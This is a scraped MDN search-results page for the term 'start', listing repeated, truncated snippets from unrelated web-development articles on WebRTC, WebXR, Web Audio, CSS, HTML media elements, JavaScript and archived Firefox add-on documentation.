... webrtc api makes heavy use of promises. they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascript 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax.
starting up when the script is run, we set up an load event listener, so that once the page is fully loaded, our
startup() function is called. ...
... they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascript 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax.
starting up when the script is run, we set up an load event listener, so that once the page is fully loaded, our
startup() function is called. ...
...And 3 more matches
Using DTMF with WebRTC - Web APIs
ideo: false }; let offeroptions = { offertoreceiveaudio: 1, offertoreceivevideo: 0 }; let dialbutton = null; let logelement = null; these are, in order: dialstring the dtmf string the caller will send when the "dial" button is clicked. callerpc and receiverpc the rtcpeerconnection objects representing the caller and the receiver, respectively. these will be initialized when the call
starts up, in our connectanddial() function, as shown in
starting the connection process below. dtmfsender the rtcdtmfsender object for the connection. this will be obtained while setting up the connection, in the gotstream() function shown in adding the audio to the connection. hasaddtrack because some browsers have not yet implemented rtcpeerconnection.addtrack(), therefore requiring the use of t...
...am() function shown in adding the audio to the connection. hasaddtrack because some browsers have not yet implemented rtcpeerconnection.addtrack(), therefore requiring the use of the obsolete addstream() method, we use this boolean to determine whether or not the user agent supports addtrack(); if it doesn't, we'll fall back to addstream(). this gets figured out in connectanddial(), as shown in
starting the connection process. mediaconstraints an object conforming to the mediaconstraints dictionary specifying the constraints to use when
starting the connection. we want an audio-only connection, so video is false, while audio is true. offeroptions an rtcofferoptions object providing options to specify when calling rtcpeerconnection.createoffer(). in this case, we state that we want to rece...
... log output box elements, and we use addeventlistener() to add an event listener to the dial button so that clicking it calls the connectanddial() function to begin the connection process. window.addeventlistener("load", function() { logelement = document.queryselector(".log"); dialbutton = document.queryselector("#dial"); dialbutton.addeventlistener("click", connectanddial, false); });
starting the connection process when the dial button is clicked, connectanddial() is called. this
starts building the webrtc connection in preparation for sending the dtmf codes. function connectanddial() { callerpc = new rtcpeerconnection(); hasaddtrack = (callerpc.addtrack !== undefined); callerpc.onicecandidate = handlecallericeevent; callerpc.onnegotiationneeded = handlecallernegotiatio...
...And 3 more matches
Using bounded reference spaces - Web APIs
real world, such as a camera-based system. a physical space with enough room to move around safely. basics the xrreferencespacetype of all bounded reference spaces is bounded-floor. this is the only type of bounded reference space currently available; in all others, if you need boundaries, you will have to manage them yourself. because bounded-floor is a floor-bound reference space, the user
starts out on the floor of the space, which is sensible given the real-world implications otherwise. therefore, the bounded reference space's origin always places the y=0 plane at floor level. the boundary is then defined using an array of 2d coordinates, specifying only the x and z components since y is always 0. these points go around the room in a clockwise direction. note that if the underlying pl...
...h your code will run. you can create a session that supports a bounded-floor reference space if available by using code such as the following: async function onactivatexrbutton(event) { if (!xrsession) { navgator.xr.requestsession("immersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session;
startsessionanimation(); }); } } this function, called when the user clicks on a button to
start the xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using immersive-vr mode. the options specified when requesting the session indicate that at a minimum, the session must be compatible with the local-floor reference space, but that it w...
...xr experience, works as usual, exiting at once if a session is already in place, then requesting a new session using immersive-vr mode. the options specified when requesting the session indicate that at a minimum, the session must be compatible with the local-floor reference space, but that it would be nice if the bounded-floor space were supported as well. once the session has been created, our
startsessionanimation() function can try to establish a bounded-floor reference space, and if it fails to do so it can then fall back to requesting a local-floor reference space instead (in which we will have to handle boundaries ourselves). this way, our session will
start up regardless of whether or not the user's platform is able to provide bounded reference spaces. creating the reference space s...
...And 3 more matches
Rendering and the WebXR frame animation callback - Web APIs
session() method; you also need to associate the session with a framebuffer and perform other setup tasks. these setup tasks are described in the article setting up and shutting down a webxr session. preparing the renderer once the xr session has been set up, with the webgl framebuffer connected and webgl primed with the data it needs in order to render the scene, you can set up the renderer to
start running. this begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's
starting position and viewing direction. once that's in hand, you request that the browser call your rendering function the next time it needs a framebuffer to render your scene. this is done by calling the xrsession method requestanimationframe(). kicking off the ...
... framebuffer to render your scene. this is done by calling the xrsession method requestanimationframe(). ...
...r your scene. this is done by calling the xrsession method requestanimationframe(). kicking off the renderer thus looks like this: let worldrefspace; async function runxr(xrsession) { worldrefspace = await xrsession.requestreferencespace("immersive-vr"); if (worldrefspace) { viewerrefspace = worldrefspace.getoffsetreferencespace( new xrrigidtransform(viewer
startposition, viewer
startorientation)); animationframerequestid = xrsession.requestanimationframe(mydrawframe); } } after getting a reference space for the immersive world, this creates an offset reference space representing the position and orientation of the viewer by creating an xrrigidtransform representing that position and orientation, then calling the xrreferencespace method getoffsetreferencespace(). then...
...And 3 more matches
Example and tutorial: Simple synth keyboard - Web APIs
javascript the javascript code begins by initializing a number of variables. let audiocontext = new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or webkitaudiocontext if necessary). osclist is set up to be ready to contain a list of all currently-playing oscillators. it
starts off empty, since there are none playing yet. mastergainnode is set to null; during the setup process, it will be configured to contain a gainnode which all playing oscillators will connect to and play through to allow the overall volume to be controlled using a single slider control. let keyboard = document.queryselector(".keyboard"); let wavepicker = document.queryselector("select[name='wave...
...ve (attribute data-octave), string representing the note to play (attribute data-note), and frequency (attribute data-frequency) in hertz. this will let us easily fetch that information as needed when handling events. making music playing a tone the playtone() function's job is to play a tone at the given frequency. ...
...we then connect it to the master gain node by calling the new oscillator's oscillatornode.connect() method;, which tells the oscillator where to send its output to. ...
...And 3 more matches
Using Web Workers - Web APIs
ndex2.html) — each one has to spin up the worker using code like the following: var myworker = new sharedworker('worker.js'); one big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers). ...
...myworker = new sharedworker('worker.js'); one big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers). the port connection needs to be
started either implicitly by use of the onmessage event handler or explicitly with the
start() method before any messages can be posted. calling
start() is only needed if the message event is wired up via the addeventlistener() method. note: when using the
start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed. sending messages to and from a shared worker now messages can be sent to the w...
...more complexity here as well (worker.js): onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } } first, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the
start() method is explicitly called in the parent thread). we use the ports attribute of this event object to grab the port and store it in a variable. next, we add a message handler on the port to do the calculation and return the result to the main thread. setting up this message handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.st...
...And 3 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
ed things according to the physical dimensions of the screen. therefore we describe boxes as having a width and height, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc. the logical properties and values specification defines mappings for these physical values to their logical, or flow relative, counterparts — e.g. ...
... if i now change the writing mode of this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way. ...
... if i now change the writing mode of this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way. the inline dimension is now running vertically and the block dimension horizontally. ...
...And 3 more matches
grid-column - CSS: Cascading Style Sheets
the grid-column css shorthand property specifies a grid item's size and location within a grid column by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-
start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e inline-
start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: grid-column-end grid-column-
start syntax this property is specified as one or two <grid-line> values. if two <grid-line> values are given they are separated by "/". the grid-column-
start longhand is set to the value before the slash, and the grid-column-end longhand is set to the value after the slash. each <grid-line> value can be specified as: either the auto keyword or a <custom-ident> value or an <integer> value or...
...e or both <custom-ident> and <integer>, separated by a space or the keyword span together with either a <custom-ident> or an <integer> or both. values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1. <custom-ident> if there is a named line with the name '<custom-ident>-
start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement. note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column: foo; will choose the
start/end edge of that named grid area (unless another line named foo-
start/foo-end was explicitly specified before it). otherwise, this is treated as if the integer 1 had been ...
...And 3 more matches
ruby-align - CSS: Cascading Style Sheets
center is a keyword indicating that the ruby will be aligned at the middle of the base text. space-between is a keyword indicating that the extra space will be distributed between the elements of the ruby. ...
... center is a keyword indicating that the ruby will be aligned at the middle of the base text. space-between is a keyword indicating that the extra space will be distributed between the elements of the ruby. ...
... center is a keyword indicating that the ruby will be aligned at the middle of the base text. space-between is a keyword indicating that the extra space will be distributed between the elements of the ruby. ...
...And 3 more matches
Cross-browser audio basics - Developer guides
ur own controls ensures a consistent look for the controls across all browsers. html5 audio in detail now we've looked at a basic example, let's now explore the different aspects of html5 audio in more detail. audio html attributes we can specify a number of attributes with the audio tag to further determine the way audio is initialized. autoplay specifying autoplay will cause the audio to
start playing as soon as possible and without any user interaction — in short, the audio will autoplay. <audio autoplay> ... </audio> note: this value is often ignored on mobile platforms, and its use is not recommended unless really necessary. auto-playing audio (and video) is usually really annoying. plus browsers have policies that will block autoplay entirely in many situations. see the auto...
...and its use is not recommended unless really necessary. auto-playing audio (and video) is usually really annoying. plus browsers have policies that will block autoplay entirely in many situations. see the autoplay guide for media and web audio apis for details. loop the loop attribute will ensure that upon getting to the end of the audio clip, the audio clip will loop back to the beginning and
start playing again. <audio loop> ... </audio> muted if you want the audio to
start muted (no volume), add the muted attribute. <audio muted> ... </audio> note: this value is often ignored on mobile platforms. preload the preload attribute allows you to specify a preference for how the browser preloads the audio, in other words, which part of the file it downloads when the <audio> element ...
... myaudio.pause(); } } media loading events above we have shown how you can create a very simple audio player, but what if we want to show progress, buffering and only activate the buttons when the media is ready to play? fortunately, there are a number of events we can use to let our player know exactly what is happening. first, let's take a look at the media loading process in order: load
start the load
start event tells us simply that load process has
started and the browser is connecting to the media. myaudio.addeventlistener("load
start", function() { //grabbing the file }); durationchange if you just want to know as soon as the duration of your media is established, this is the event for you. this can be useful because the initial value for duration is nan (not a number), which ...
...And 3 more matches
Setting up adaptive streaming media sources - Developer guides
live profile is a requirement. the stream switching capabilities are identical between the profiles. ...
...2011" xsi:schemalocation="urn:mpeg:dash:schema:mpd:2011 dash-mpd.xsd" type="static" mediapresentationduration="pt654s" minbuffertime="pt2s" profiles="urn:mpeg:dash:profile:isoff-on-demand:2011"> <baseurl>http://example.com/ondemand/</baseurl> <period> <!-- english audio --> <adaptationset mimetype="audio/mp4" codecs="mp4a.40.5" lang="en" subsegmentalignment="true" subsegment
startswithsap="1"> <representation id="1" bandwidth="64000"> <baseurl>elephantsdream_aac48k_064.mp4.dash</baseurl> </representation> </adaptationset> <!-- video --> <adaptationset mimetype="video/mp4" codecs="avc1.42401e" subsegmentalignment="true" subsegment
startswithsap="1"> <representation id="2" bandwidth="100000" width="480" height="360"> <baseurl>elep...
...s where all the various bitrate files reside. ...
...And 3 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
in <canvas> elements. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. currenttime reading currenttime returns a double-precision floating-point value indicating the current playback position, in seconds, of the audio. if the audio's metadata isn't available yet—thereby preventing you from knowing the media's
start time or duration—currenttime instead indicates, and can be used to change, the time at which playback will begin. otherwise, setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. if the audio is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that...
...ich playback will begin. otherwise, setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. if the audio is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer. other audio may have a media timeline that doesn't
start at 0 seconds, so setting currenttime to a time before that would fail. for example, if the audio's media timeline
starts at 12 hours, setting currenttime to 3600 would be an attempt to set the current playback position well before the beginning of the media, and would fail. the get
startdate() method can be used to determine the beginning point of the media timeline's reference frame. disablere...
...ngth) of the audio in seconds, on the media's timeline. if no media is present on the element, or the media is not valid, the returned value is nan. if the media has no known end (such as for live streams of unknown duration, web radio, media incoming from webrtc, and so forth), this value is +infinity. loop a boolean attribute: if specified, the audio player will automatically seek back to the
start upon reaching the end of the audio. muted a boolean attribute that indicates whether the audio will be initially silenced. its default value is false. preload this enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. it may have one of the following values: none: indicates that the audio should not be preload...
...And 3 more matches
<input type="week"> - HTML: Hypertext Markup Language
, and stepup() value a domstring representing the value of the week/year entered into the input. the format of the date and time value used by this input type is described in format of a valid week string in date and time formats used in html. you can set a default value for the input by including a value inside the value attribute, like so: <label for="week">what week would you like to
start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www. when the above value is submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look like week=2017-w01. you can also get and set the value in javascr...
...port is not guaranteed across all browsers. we'll look at basic and more complex uses of <input type="week">, then offer advice on mitigating the browser support issue later on (see handling browser support). basic uses of week the simplest use of <input type="week"> involves a basic <input> and <label> element combination, as seen below: <form> <label for="week">what week would you like to
start?</label> <input id="week" type="week" name="week"> </form> controlling input size <input type="week"> doesn't support form sizing attributes such as size. you'll have to resort to css for sizing needs. using the step attribute you should be able to use the step attribute to vary the number of weeks jumped whenever they are incremented or decremented, however it doesn't seem to have any ef...
...ible to submit with the field empty, and you might want to restrict the range of choosable weeks. setting maximum and minimum weeks you can use the min and max attributes to restrict the valid weeks that can be chosen by the user. in the following example we are setting a minimum value of week 01, 2017 and a maximum value of week 52, 2017: <form> <label for="week">what week would you like to
start?</label> <input id="week" type="week" name="week" min="2017-w01" max="2017-w52"> <span class="validity"></span> </form> here's the css used in the above example. here we make use of the :valid and :invalid css properties to style the input based on whether or not the current value is valid. we had to put the icons on a <span> next to the input, not on the input itself, because in ...
...And 3 more matches
Assertions - JavaScript
t to edit it as well, thanks! boundary-type assertions characters meaning ^ matches the beginning of input. if the multiline flag is set to true, also matches immediately after a line break character. for example, /^a/ does not match the "a" in "an a", but does match the first "a" in "an a". this character has a different meaning when it appears at the
start of a group. $ matches the end of input. if the multiline flag is set to true, also matches immediately before a line break character. for example, /t$/ does not match the "t" in "eater", but does match it in "eat". \b matches a word boundary. this is the position where a word character is not followed or preceded by another word-character, such as be...
...gymultiline); // fix 'ihe' but does not touch 'light'. // 4) use \b to match characters inside borders of an entity. fixedmultiline = buggymultiline.replace(/\bo/gim,'e'); console.log(4, fixedmultiline); // fix 'greon' but does not touch 'on'. matching the beginning of input using a ^ control character use ^ for matching at the beginning of input. ...
...x 'greon' but does not touch 'on'. matching the beginning of input using a ^ control character use ^ for matching at the beginning of input. in this example, we can get the fruits that
start with 'a' by a /^a/ regex. for selecting appropriate fruits we can use the filter method with an arrow function. let fruits = ["apple", "watermelon", "orange", "avocado", "strawberry"]; // select fruits
started with 'a' by /^a/ regex. // here '^' control symbol used only in one role: matching beginning of an input. let fruits
startswitha = fruits.filter(fruit => /^a/.test(fruit)); console.log(fruits
startswitha); // [ 'apple', 'avocado' ] in the second example ^ is used both for matching at the beginning of input and for creating negated or complemented character sets when used within groups. let fru...
...And 3 more matches
Object.prototype.constructor - JavaScript
.prototype.constructor = createdconstructor // sets the correct constructor for future use createdconstructor.prototype.create = function create() { return new this.constructor() } new createdconstructor().create().create() // it's pretty fine ok, now it's pretty clear why changing the constructor can be useful. let's consider one more case. ...
...for future use createdconstructor.prototype.create = function create() { return new this.constructor() } new createdconstructor().create().create() // it's pretty fine ok, now it's pretty clear why changing the constructor can be useful. let's consider one more case. ...
...ructor.prototype.create = function create() { return new this.constructor() } new createdconstructor().create().create() // it's pretty fine ok, now it's pretty clear why changing the constructor can be useful. let's consider one more case. ...
...And 3 more matches
String.prototype.substr() - JavaScript
the substr() method returns a portion of the string,
starting at the specified index and extending for a given number of characters afterwards. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substr(
start[, length]) parameters
start the index of the first character to include in the returned substring. length optional. the number of characters to extract. return value a new string containing the specified part of the given string. description substr() extracts length characters from a str, counting from the
start index. ...
...amples and send us a pull request. syntax str.substr(
start[, length]) parameters
start the index of the first character to include in the returned substring. length optional. the number of characters to extract. return value a new string containing the specified part of the given string. description substr() extracts length characters from a str, counting from the
start index. if
start is a positive number, the index
starts counting at the
start of the string. its value is capped at str.length. if
start is a negative number, the index
starts counting from the end of the string. its value is capped at -str.length. note: in microsoft jscript, negative values of the
start argument are not considered to refer to the end of the string. if length is omitted, substr() extracts char...
...he end of the string. its value is capped at -str.length. note: in microsoft jscript, negative values of the
start argument are not considered to refer to the end of the string. if length is omitted, substr() extracts characters to the end of the string. if length is undefined, substr() extracts characters to the end of the string. if length is a negative number, it is treated as 0. for both
start and length, nan is treated as 0. polyfill microsoft's jscript does not support negative values for the
start index. ...
...And 3 more matches
Web Performance
ing (non-critical) and load these only when needed. it is a way of shorten the critical rendering path length, what would translate into improved page load times. navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation events. ...
...rten the critical rendering path length, what would translate into improved page load times. navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation events. resource timings are detailed network timing measurements regarding the loading of an application's resources.optimizing
startup performanceregardless of platform, it's always a good idea to
start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps:
starting up as asynchronously as possible. that means not running all your
startup code in a single event handler on the app's main thread.performance budgetsa performance budget is a limit to prevent regressions. it ca...
...t latency is, how it impacts performance, how to measure latency, and how to reduce it.using dns-prefetchdns-prefetch is an attempt to resolve domain names before resources get requested. this could be a file loaded later or link target a user tries to follow. beginner's tutorials the mdn web performance learning area contains modern, up-to-date tutorials covering performance essentials. ...
...And 3 more matches
/loader - Archive of obsolete content
vided with a set of locations to indicate where to find modules loaded using require(). this is provided by a mandatory options.paths hash that represents the mapping between module id prefixes and locations. ...
...you may still end up with a relative module id if the entry point module id is itself relative. in those cases you have to decide what the entry point module is relative to and provide an appropriate mapping for it: let { loader } = require('toolkit/loader'); let loader =...
...quirer module id and the result of it is then resolved using the paths option. you may still end up with a relative module id if the entry point module id is itself relative. ...
...And 2 more matches
ui/sidebar - Archive of obsolete content
sidebar scripts to the main add-on code, and listen to ready if the first message goes from the main add-on code to the sidebar script. using attach the attach event is triggered whenever the dom for a new sidebar instance is loaded and its scripts are attached. the sidebar script may not be initialized yet, so you can't reliably send messages to the sidebar script right away: however, you can
start listening to messages from the script. here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </...
...rc="sidebar.js"></script> </body> </html> the "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it loads, and adds a listener to the pong message. addon.port.emit("ping"); addon.port.on("pong", function() { console.log("sidebar script got the reply"); }); the "main.js" file creates a sidebar object and adds a listener to its attach event. ...
...pt" src="sidebar.js"></script> </body> </html> the "sidebar.js" file listens to the ping message from main.js, and responds with a pong message. addon.port.on("ping", function() { console.log("sidebar script got the message"); addon.port.emit("pong"); }); the "main.js" file creates a sidebar object and adds a listener to its attach event. ...
...And 2 more matches
Preferences - Archive of obsolete content
efaults/pref in your install script. for firefox/thunderbird, just put them in myext.xpi/defaults/preferences/. they will be copied and registered with the preferences system automatically. more about preferences "branches" preference names consist of a few strings separated with dots, and related preferences usually share the same prefix. ...
... names consist of a few strings separated with dots, and related preferences usually share the same prefix. for example, most accessibility preferences in mozilla
start with "accessibility." this means that all existing preferences can be imagined as if they were in a tree, like this: + | +-- accessibility | | | +-- typeaheadfind | | | | | +-- auto
start (accessibility.typeaheadfind.auto
start) | | | | | +-- enablesound (accessibility.typeaheadfind.enablesound) | | | +-- usebrailledisplay (accessibility.usebrailledisplay) | +-- extensions | +-- lastappversion (extensions.lastappversion) this is the metaphor behind nsiprefbranch. however, you should be aware of the fact that the ...
...ts.interfaces.nsiprefservice); var branch = prefs.getbranch("acce"); var enablesound = branch.getboolpref("ssibility.typeaheadfind.enablesound"); this is the reason why you should usually pass strings ending with a dot to getbranch(), like prefs.getbranch("accessibility."). another caveat you should be aware of is that nsiprefbranch.getchildlist("",{}) returns an array of preference names that
start with that branch's root, for example var branch = prefs.getbranch("accessibility."); var children = branch.getchildlist("", {}); will return these items (for the example tree above): "typeaheadfind.auto
start", "typeaheadfind.enablesound", and "usebrailledisplay", not just direct children ("typeaheadfind" and "usebrailledisplay"), as you might have expected. using preference observers changes...
...And 2 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
g referenced by another element. orient whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. you can explicitly set or change this layout using the orient attribute, with options for horizontal and vertical. align and pack the align and pack attributes both specify the layout of elements within a box. ...
... <box flex="1" align="end" pack="end"> <button label="happy"/> <button label="sad"/> </box> listing 2: how align and pack respond to orient figure 2: output from listing 2 flex elements ordinarily have fixed height and width. ...
... can be a lot of labeled elements in xul. a common attribute that can be set on all of them is the crop attribute. by applying the crop attribute to elements with the label attribute set or to the label element, part of the label will be replaced by an ellipsis (…) if it overflows the width of the parent element. the part of the label that gets cropped can be controlled by setting its value to
start, center, or end. you can set the maximum width of the box using the css max-width property. checkboxes the checkbox shown in figure 11 was marked up using the checkbox element. when it is in its checked state, its checked attribute is set to true. <checkbox label="checkbox checked" checked="true"/> <checkbox label="checkbox unchecked" checked="false"/> listing 11: checkboxes in different st...
...And 2 more matches
Appendix A: Add-on Performance - Archive of obsolete content
ance impact on firefox. this is evident when opening a firefox profile that has many add-ons installed; some profiles can take minutes to load, which is a serious inconvenience for users that gives them a negative view of firefox. add-on developers need to make sure that they minimize their add-ons' performance impact, and here are a few simple guidelines that should be followed to achieve that.
startup this is the area where add-ons have the most noticeable impact. most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. the problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. an add-on can normally add a few ...
...re add-ons have the most noticeable impact. most add-ons use the load event handler in the main overlay to initialize their objects and sometimes read files or even fetch remote data. the problem with the onload event is that it runs before the main window becomes visible, so all handlers need to complete before the user can see the window. an add-on can normally add a few hundred milliseconds to
startup time because of the load handler, and it's not hard to figure out what having several add-ons will do. luckily, minimizing your
startup time is easy, if you follow these guidelines: do not load or run code before it’s needed. add-ons can have extra features that are only available depending on user preferences. other add-ons have most of their features depend on a user being logged in to ...
... handler, and it's not hard to figure out what having several add-ons will do. luckily, minimizing your
startup time is easy, if you follow these guidelines: do not load or run code before it’s needed. add-ons can have extra features that are only available depending on user preferences. other add-ons have most of their features depend on a user being logged in to a service. don’t load at
startup something you won’t need at the time. javascript code modules. use them. jsm provide the cleanest way to separate js into modules that can be loaded on request, unlike chrome scripts which are generally loaded with the overlay at
startup. keep as much of your code in jsm, make it as modular as you can, and only load modules as you require them. if your add-on is too simple for jsm, don’t w...
...And 2 more matches
Setting Up a Development Environment - Archive of obsolete content
set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using this tool. it will save you some packaging time. or you can create an equivalent system using batch, ant or whatever you prefer. ultimately you can just compress the contents of the src directory using any zip or archive tool and get a similar result. build system let's
start by downloading the project used to build the second version of hello world, from the exercise in the last section. hello world 2 project. unzip the file anywhere you want. inside the helloworld2 directory, you'll see two directories: bin and src. the bin directory should be empty. this is where all the resulting build files will be created, and where you'll find the extension xpi file once you ...
.... click on tools > run command.... in the "run" textbox you should type this: bash -c "make" or replace "make" with "make clean" for the clean command. the "bash -c" part forces komodo to use bash, which for some reason can't be set properly as the default command shell. it isn't necessary to add this, but it's better so that it is consistent with the make command we'll see next. in the "
start in" textbox you should choose %p (directory path of active project). if you don't see this textbox, click on the "more" button. you also have the option to save the command, by clicking on the "add to toolbox" checkbox. to see the toolbox, click on view > tabs > toolbox, from the main menu. with that, you should now have a very easy way to build your xpi, by just double clicking on the created co...
...son why we introduced "make install". this only works if your extension is already installed in a firefox profile. just like in the provided project, you need the add-on id and profile location set in the file makefile. we use this information to locate the installation path of the extension and overwrite the installed files. if firefox is open at the time you run "make install", you'll have to re
start it in order to see the changes. it's still better than installing the xpi all over again. you may need to alter the profile location in your makefile. in order to set the profile location to the right value, you should read the support article on profiles, at the mozilla support site. we'll also delve deeper in this topic later on in this section. to make "make install" work on non-windows syst...
...And 2 more matches
Drag and Drop Example - Archive of obsolete content
t, boardobserver)"> </stack> the board only needs to respond to the dragdrop and dragover events. we'll add a boardobserver to the file dragboard.js in a moment. next, a palette will be added to the right side of the window. it will contain three buttons, one to create new buttons, one to create check boxes and the other to create textboxes. ...
...a boardobserver to the file dragboard.js in a moment. next, a palette will be added to the right side of the window. it will contain three buttons, one to create new buttons, one to create check boxes and the other to create textboxes. this buttons will respond to the draggesture event and
start a drag. <vbox> <button label="button" elem="button" ondraggesture="nsdraganddrop.
startdrag(event, listobserver)"/> <button label="check box" elem="checkbox" ondraggesture="nsdraganddrop.
startdrag(event, listobserver)"/> <button label="text box" elem="textbox" ondraggesture="nsdraganddrop.
startdrag(event, listobserver)"/> </vbox> the nsdraganddrop object will be called to do most of the work. we'll create a listobserver object that will s...
...ata to be dragged. note that each button here has an additional elem attribute. this is a made-up attribute. xul doesn't handle it and just ignores it, but we can still retrieve it with the dom's getattribute function. we need this so that we know what type of element to create when dragging. next, we'll define the two listener objects. first, the listobserver which needs a function to handle the
start of the drag. var listobserver = { ondrag
start: function (event, transferdata, action) { var txt = event.target.getattribute("elem"); transferdata.data = new transferdata(); transferdata.data.adddataforflavour("text/unicode", txt); } } one function has been defined, ondrag
start, which will be called by the nsdraganddrop object when necessary. the function adds the data to be dragg...
...And 2 more matches
JavaScript Client API - Archive of obsolete content
onfusing (by non-confusing, we mean that people should always know with whom they are dealing and where the information or software they are downloading came from). you may not imply, either directly or by omission, that your third party client is produced or endorsed by mozilla. by providing access to the firefox sync apis, mozilla is not granting you a license to any of our trademarks. before
starting before you
start learning the javascript api, you should spend some time on http://docs.services.mozilla.com/ reading about how the sync service operates. this will help fundamental understanding significantly. api location the sync javascript client api is defined in files in the services/sync/ directory of mozilla-central or similar repository. terminology syncengine the main sync cl...
...earning the javascript api, you should spend some time on http://docs.services.mozilla.com/ reading about how the sync service operates. this will help fundamental understanding significantly. api location the sync javascript client api is defined in files in the services/sync/ directory of mozilla-central or similar repository. terminology syncengine the main sync client object. it's what
starts all the magic. engine governs the synchronizing of a specific set of information. e.g. there is an engine for bookmarks, tabs, history, preferences, etc. record piece of information that gets synchronized. records are transformed to wbo's, uploaded to a collection in a sync server and eventually downloaded by other sync clients. tracker entity that tracks changes to data. each engine has a...
...g and maintaining the mapping between guids and records. example here's the skeleton of a sample tracker class. function footracker(name) { tracker.call(this, name); // register yourself as event listener or observer for whatever // you want to track. note that this may unnecessarily slow down // things for users who don't use sync. ...
...And 2 more matches
Creating a Help Content Pack - Archive of obsolete content
next, you'll need to insert a rdf:description element into the file, inside the rdf:rdf element just created: <rdf:description rdf:about="urn:root" nc:title="" nc:defaulttopic="" nc:base=""> </rdf:description> fill in the attributes as follows: rdf:about must be urn:root or your pack won't work. this attribute marks the
start point in the rdf graph described by the file, and the help viewer searches for this element in order to query for further information (stored in child elements) about the content pack being parsed. nc:title is where you specify the title (e.g., "mozilla firefox help") for the help window. this attribute is required. nc:defaulttopic will hold the rdf:id of the topic you want displayed when the v...
...help/glossary.rdf"/> </rdf:li> <rdf:li> <rdf:description nc:panelid="index" nc:datasources="chrome://foo/locale/help/glossary.rdf"/> </rdf:li> </rdf:seq> the help viewer ui may or may not provide a panel for each of these data sources. in firefox 1.0 each data source had a panel.
starting with firefox 1.1 and the mozilla 1.8 platform, only the table of contents data source will be displayed. the glossary and index data sources will be hidden - information found only in them will not be displayed unless the user conducts a search of the help pack that would return glossary or index results.xxx this sentence is ugly - a little rewording help here would be nice a data source desc...
... any language, so such automatic splitting is not desirable. you must implement such splitting if you wish to have it. the index data source structurally differs from the glossary in that it is more likely to have multiple levels. a single-level index may be accomplished in exactly the same way as a glossary file, but multiple levels can make it easier to navigate to specific information. ...
...And 2 more matches
Priority Content - Archive of obsolete content
gging around the mirror and see anything there that you think should be migrated to devmo that isn't on this list, feel free to add it below. a raw list of everything that has not been migrated at all appears there. book length works in progress: netscape gecko plugin api reference 1.0 original: netscape gecko plugin api reference 1.0 wiki location: gecko plugin api reference migrators:
started: core javascript reference 1.5 original: core javascript reference 1.5 wiki location: core javascript 1.5 reference migrators: deb richardson in progress: transforming xml: netscape and xslt 1.0 original: transforming xml: netscape and xslt 1.0 wiki location: transforming xml with xslt migrators: serge k. keller in progress: rapid application development with mozilla original: auth...
...the page. dependant on: updating dhtml web pages for next generation browsers on devedge the tune-up wizard (see below, in the wishlist section) mostly completed: popup window controls devedge article migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. ...
...soap in netscape gecko-based browsers wiki location: soap in gecko-based browsers migrators: doron rosenberg in progress: css support charts original: css support charts and archive.org mirror wiki location: css support charts migrators: serge k. keller licensing: these css charts appear to be under a cc:by-nc-sa license, please make note of that on the page when you do the migration. ...
...And 2 more matches
Table Cellmap - Archive of obsolete content
